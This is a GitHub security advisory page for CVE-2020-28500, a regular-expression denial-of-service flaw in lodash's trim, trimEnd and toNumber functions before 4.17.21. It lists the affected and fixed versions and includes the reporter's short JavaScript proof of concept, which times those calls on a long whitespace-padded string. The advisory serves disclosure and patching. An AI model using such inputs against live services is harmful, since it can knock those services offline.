~ / search / GHSA-29mw-wpgm-hmr9

GHSA-29mw-wpgm-hmr9

Regular Expression Denial of Service (ReDoS) in lodash

Source: GitHub Advisory Database (reviewed) Moderate CVE-2020-28500

Packages

EcosystemPackageAffectedFixed in
npm lodash >= 4.0.0, < 4.17.21 4.17.21
npm lodash-es >= 4.0.0, < 4.17.21 4.17.21
npm lodash.trimend >= 4.0.0, <= 4.5.1 no fix listed
npm lodash.trim >= 4.0.0, <= 4.5.1 no fix listed
RubyGems lodash-rails >= 4.0.0, < 4.17.21 4.17.21

Details

As written in the advisory (Markdown source, shown as plain text).

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```

References

External links from the advisory. They lead to third-party sites.